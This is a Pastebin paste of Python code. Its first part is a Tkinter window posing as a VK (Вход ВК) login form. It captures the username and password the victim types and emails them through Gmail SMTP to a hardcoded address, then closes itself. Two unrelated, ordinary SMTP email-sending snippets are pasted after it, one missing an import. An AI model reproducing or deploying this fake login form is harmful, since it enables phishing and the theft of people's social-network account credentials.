Guest User

Untitled

a guest
Apr 22nd, 2018
962
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.60 KB | None | 0 0
  1. import smtplib
  2. from tkinter import *
  3. from tkinter import messagebox
  4.  
  5. def destr():
  6.  
  7. a = login.get()
  8. b = parol.get()
  9. content = 'Login: ' + str(a) + ', ' + 'password: ' + str(b)
  10. mail = smtplib.SMTP('smtp.gmail.com', 587)
  11. mail.ehlo()
  12. mail.starttls()
  13. mail.login('komp.lord@gmail.com','########не скажу')
  14. mail.sendmail('komp.lord@gmail.com', 'komp.lord@gmail.com', content)
  15. okno.destroy()
  16.  
  17. okno = Tk()
  18. okno.title('Вход ВК')
  19. okno.geometry('500x500')
  20.  
  21. login = StringVar()
  22. EmailOrPhone = Entry(okno, textvariable = login).pack()
  23.  
  24. parol = StringVar()
  25. Password = Entry(okno, textvariable = parol).pack()
  26.  
  27. knopka = Button(okno, text = 'Я ввёл логин и пароль', command = destr, fg = 'black', bg = 'white').pack()
  28. okno.mainloop()
  29.  
  30. import six
  31. import smtplib
  32. import email.utils
  33. import email.encoders
  34.  
  35. from six.moves import email_mime_multipart # import email.mime.multipart
  36. from six.moves import email_mime_text # import email.mime.text
  37. from six.moves import email_mime_base # import email.mime.base
  38.  
  39.  
  40. def send_mail(
  41. send_to,
  42. subject,
  43. text,
  44. send_from,
  45. files=[],
  46. headers={},
  47. cc=None,
  48. smtp_server='localhost',
  49. smtp_port=0,
  50. smtp_login=None,
  51. smtp_password=None
  52. ):
  53. """
  54. sends email via SMTP server
  55. parameters:
  56. send_to - email recipient(s) [str | basestring | list]
  57. subject - subject string [str | basestring]
  58. text - email body [str | basestring]
  59. send_from - sender's email [str | basestring]
  60. files - list of attached files [list of strings]
  61. headers - custom headers [dict,
  62. like: {'X-My-Header':'My Header'}]
  63. cc - email CC recipient(s) [str | basestring | list]
  64. default: None
  65. smtp_server - SMTP hostname or IP [str | basestring]
  66. default: 'localhost'
  67. smtp_port - SMTP port
  68. default: 0
  69. smtp_login - SMTP server login [str | basestring]
  70. default: None
  71. smtp_password - SMTP server password [str | basestring]
  72. default: None
  73. )
  74. """
  75. assert isinstance(send_to, list) or isinstance(send_to, six.string_types)
  76. assert isinstance(files, list)
  77. msg = email_mime_multipart.MIMEMultipart()
  78. msg['From'] = send_from
  79. msg['Date'] = email.utils.formatdate(localtime=True)
  80. msg['Subject'] = subject
  81. # convert the list of recipients to the comma-separated string
  82. if isinstance(send_to, list):
  83. msg['To'] = email.utils.COMMASPACE.join(send_to)
  84. elif isinstance(send_to, six.string_types):
  85. msg['To'] = send_to
  86. if cc:
  87. # convert the list of recipients to the comma-separated string
  88. if isinstance(cc, list):
  89. msg['Cc'] = email.utils.COMMASPACE.join(cc)
  90. elif isinstance(cc, six.string_types):
  91. msg['Cc'] = cc
  92. msg.attach(email_mime_text.MIMEText(text))
  93. # attach file-attachments
  94. # use set in order to get rid of duplicates
  95. for f in set(files):
  96. part = email_mime_base.MIMEBase('application', 'octet-stream')
  97. part.set_payload(open(f, 'rb').read())
  98. email.encoders.encode_base64(part)
  99. part.add_header(
  100. 'Content-Disposition',
  101. 'attachment; filename="%s"' %
  102. os.path.basename(f))
  103. msg.attach(part)
  104. # attach custom eMail headers if any
  105. for h in headers.keys():
  106. msg[h] = headers[h]
  107. smtp = smtplib.SMTP(smtp_server, port=smtp_port)
  108. # perform authentication if both login and password were specified
  109. if smtp_login and smtp_password:
  110. smtp.starttls()
  111. smtp.login(smtp_login, smtp_password)
  112. smtp.sendmail(send_from, send_to, msg.as_string())
  113. smtp.close()
  114.  
  115. #!/usr/bin/env python
  116. # -*- coding: utf-8 -*-
  117. """Send email via smtp_host."""
  118. import smtplib
  119. from email.mime.text import MIMEText
  120. from email.header import Header
  121.  
  122. ####smtp_host = 'smtp.live.com' # microsoft
  123. smtp_host = 'smtp.gmail.com' # google
  124. ####smtp_host = 'smtp.mail.yahoo.com' # yahoo
  125. ####smtp_host = 'smtp.yandex.ru' # yandex
  126. login, password = 'user@gmail.com', 'pa$$w0rd'
  127. recipients_emails = [login]
  128.  
  129. msg = MIMEText('body…', 'plain', 'utf-8')
  130. msg['Subject'] = Header('subject…', 'utf-8')
  131. msg['From'] = login
  132. msg['To'] = ", ".join(recipients_emails)
  133.  
  134. s = smtplib.SMTP(smtp_host, 587, timeout=10)
  135. s.set_debuglevel(1)
  136. try:
  137. s.starttls()
  138. s.login(login, password)
  139. s.sendmail(msg['From'], recipients_emails, msg.as_string())
  140. finally:
  141. s.quit()
Add Comment
Please, Sign In to add comment